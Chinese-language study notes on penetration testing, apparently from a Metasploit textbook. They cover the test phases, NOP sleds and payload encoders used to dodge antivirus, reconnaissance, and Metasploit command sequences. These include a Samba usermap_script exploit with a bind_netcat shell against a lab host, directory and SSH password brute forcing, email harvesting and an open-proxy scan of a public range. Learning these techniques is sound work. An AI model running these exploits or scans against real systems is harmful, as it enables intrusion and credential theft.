渗透测试基本环节
- 前期交互阶段,渗透测试团队与客户组织进行交互讨论,最重要的是确定渗透测试的范围、目标、限制条件以及服务合同细节,包括:收集客户需求,准备测试计划,定义测试范围和边界,定义业务目标、项目管理与规划
- 情报收集阶段,渗透测试团队可以利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑,系统配置与安全防御的信息(IP地址,子域名,端口开放状态,防火墙状态,目标采用的服务种类和版本,公司组织架构,目标组织架构,目标人员架构等),包括:公开来源信息查询(zooomeye,fofa,shodan),Google hacking(目前由于中国防火长城,需要翻墙),社会工程学,网络踩点,扫描探测,被动监听等
- 威胁建模,从大量信息中进行筛选,确定最可行的攻击路径
- 漏洞分析阶段。综合分析前几个阶段获取的情报信息,特别是安全扫描结果、服务查点信息等,通过搜索可获取的渗透测试代码资源,找出可以实施攻击的攻击点,并在实验环境中进行验证。
- 渗透攻击阶段,利用所找出的目标系统安全漏洞,真正入侵到系统中,获取访问控制权
- 后渗透攻击阶段,渗透测试团队根据目标组织的业务的经营模式,保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要的业务影响的攻击途径
- 报告阶段,渗透测试报告需要展示之前所有阶段中,渗透测试团队所获取的关键信息请把,探测和发掘出的系统安全漏洞、成功渗透攻击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的角度上,帮助他们分析安全防御体系中的薄弱环节,存在的问题,以及修补与升级技术方案。
代码审计-》白盒测试 逆向工程-》灰盒测试 Fuzz测试-》黑盒测试
空指令(NOP)
空指令(NOP)是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在x86 CPU体系架构平台上的操作码是0x90。
在渗透攻击构造邪恶数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区,这样当触发渗透攻击后跳转执行Shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode 执行失败,提高渗透攻击的可靠性。
编码器模块
编码器模块的第一个使命是确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”,这些“坏字符”的存在将导致特殊构造的邪恶数据缓冲区无法按照预期目标完全输入到存有漏洞的软件例程中,从而使得渗透攻击触发漏洞之后无法正确执行攻击载荷,达成控制系统的目标。
典型的”坏字符”就是0x00空字节,在大量漏洞所在的字符串操作函数中,输入字符串中的空字节会被解释为字符串的末尾,这样会将后面内容进行截断,从而使得攻击载荷没有完整地被运行,导致攻击失败。
编码器的第二个使命是对攻击载荷进行”免杀”处理,即逃避反病毒软件、IDS 入侵检测系统和IPS入侵防御系统的检测与阻断。通过各种不同形式的编码,甚至是多个编码器的嵌套编码,可以让攻击载荷变得面目全非,避免载荷中含有一些安全检测与防御机制能够轻易识别的特征码,从而能够达到”免杀”的效果
TARGET :192.168.91.141
ATTACKER:192.168.91.143
msfconsole
earch samba
use exploit/multi/samba/usermap_script
show payloads
set payload /payload/cmd/unix/bind_netcat
show options
set RHOSTS 192.168.91.141
exploit
whois是一个用来查询域名注册信息数据库的工具,一般的域名注册信息会包含域名所有者、服务商、管理员邮件地址、域名注册日期和过期日期等,这些信息往往是非常有价值的。可以直接通过在MSF终端中使用whois 命令对域名注册信息进行查询,
提示:进行whois查询时请去掉www、ftp 等前缀,这是由于机构在注册域名时通常会注册一个上层域名,其子域名由自身的域名服务器管理,在whois数据库中可能查询不到。例如www.testfire.net是testfire.net的一个子域名。
nslookup与dig两个工具功能上类似,都可以查询指定域名所对应的IP地址,所不同的是dig工具可以从该域名的官方DNS服务器上查询到精确的权威解答,而nslookup只会得到DNS解析服务器保存在Cache中的非权威解答。
IP2Domain反查域名
反向IP查找:10.242.10.36 (ipaddress.com)
Google Hacking技术
Google Hacking Database (GHDB) – Google Dorks, OSINT, Recon (exploit-db.com)
GHDB Google黑客数据库
发现新的进攻性安全资源|福克斯主教 (bishopfox.com)
www.mcafee.com/us/downloads/free-tools/sitedigger.aspx GHDB自动搜索工具(收费)
Web网站同你使用的文件系统一样,会按照内容或功能分出一些子目录。有些目录是希望被来访者看到的,而有些则可能存储了一些不希望被所有人查看的内容,比如一些存储了私人文件的目录,以及管理后台目录等。
在浏览网站目录时,应当对以下几种文件特别留意:
口扩展名为inc的文件:可能会包含网站的配置信息,如数据库用户名/口令等。口扩展名为bak的文件:通常是一些文本编辑器在编辑源代码后留下的备份文件,可
以让你知道与其对应的程序脚本文件中的大致内容。
口扩展名为 txt或 sql的文件:一般包含网站运行的SQL脚本,可能会透露类似数据库结构等信息。
网站目录爆破
use auxiliary/scanner/http/dir_scanner
set THREADS 50
set RHOSTS www.xxx.com
exploit
邮件地址收集
use auxiliary/gather/search_email_collector
set DOMAIN qq.com
run
google可能连接失败
use auxiliary/scanner/telnet/telnet_version
set RHOSTS 192.168.91.141
set THREADS 100
run
use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/oracle/tnslsnr_version #发现后台服务器上开放的Oracle数据库
use auxiliary/scanner/http/open_proxy
set SITE www.google.com
set RHOSTS 24.25.24.1-24.25.26.254
set MULTIPORTS true
set VERIFY_CONNECT true
set THREADS 100
run #开放代理探测
use auxiliary/scanner/ssh/ssh_login #ssh弱密码口令爆破
这是由于Web应用存在的一些固有缺陷所决定的,主要存在以下7点。
1)广泛性:当前 Web应用几乎是无处不在,云计算概念提出后,各种Web应用放在云里面,更增加了Web应用的广泛性。可以说,攻击者在Web应用攻击这方面是从来不缺乏目标的。
2)技术门槛低:技术门槛低是从两方面考虑的。一方面,对攻击者来说,Web攻击技术相对传统的操作系统攻击技术而言简单得多,也更容易理解。另一方面,诸如IIS+ASP. NET和LAMP(Linux/Apache/MySQL/PHP)这些Web平台的不断增加和流行,大多数Web应用程序不需要什么开发经验,就能够开发所需的应用。再次说明了Web技术简单易懂,进入的技术门槛低。
3)防火墙可绕过性:几乎所有的防火墙策略都会允许流入方向的HTTP/S(这不是防火墙本身的漏洞,而是管理员的配置策略问题)。这样的策略相对于Web应用攻击来说,防火墙形同虚设。
4)安全机制不够成熟:认证和授权技术在互联网上已经流行多年,但是HTTP在这方面的发展还处于滞后阶段。尽管很多开发人员在自己的应用中加入了认证代码,但是往往这些代码是存在问题的。
5)隐蔽性:在互联网上目前还存在很多无法进行取证的地方,Web攻击就是一个很好的反取证平台。在Web攻击过程中,很容易通过各种公开的HTTP代理发起攻击,更有甚者同时利用多个代理发动攻击,这样使得追溯与取证工作变得更加困难。
6)变化性:Web应用的调整对于一个业务经常变化的公司来说,可以算是家常便饭,但是对于调整Web应用的开发人员、系统管理员等,他们往往缺乏充分的安全培训,却有着对复杂网络应用修改的特权,这样很难保证安全策略很好的实施。
7)利益性:利益永远是各种攻击的驱动力,Web攻击也不例外。近期相关司法部门公布有组织性的Web应用攻击,谋取利益的犯罪团伙案件越来越多,无论直接攻击Web 应用服务器,还是攻击欺骗客户终端的钓鱼攻击,抑或是通过可怕的分布式拒绝服务攻击(DDoS)进行敲诈,通过Web犯罪可以说是利润丰厚。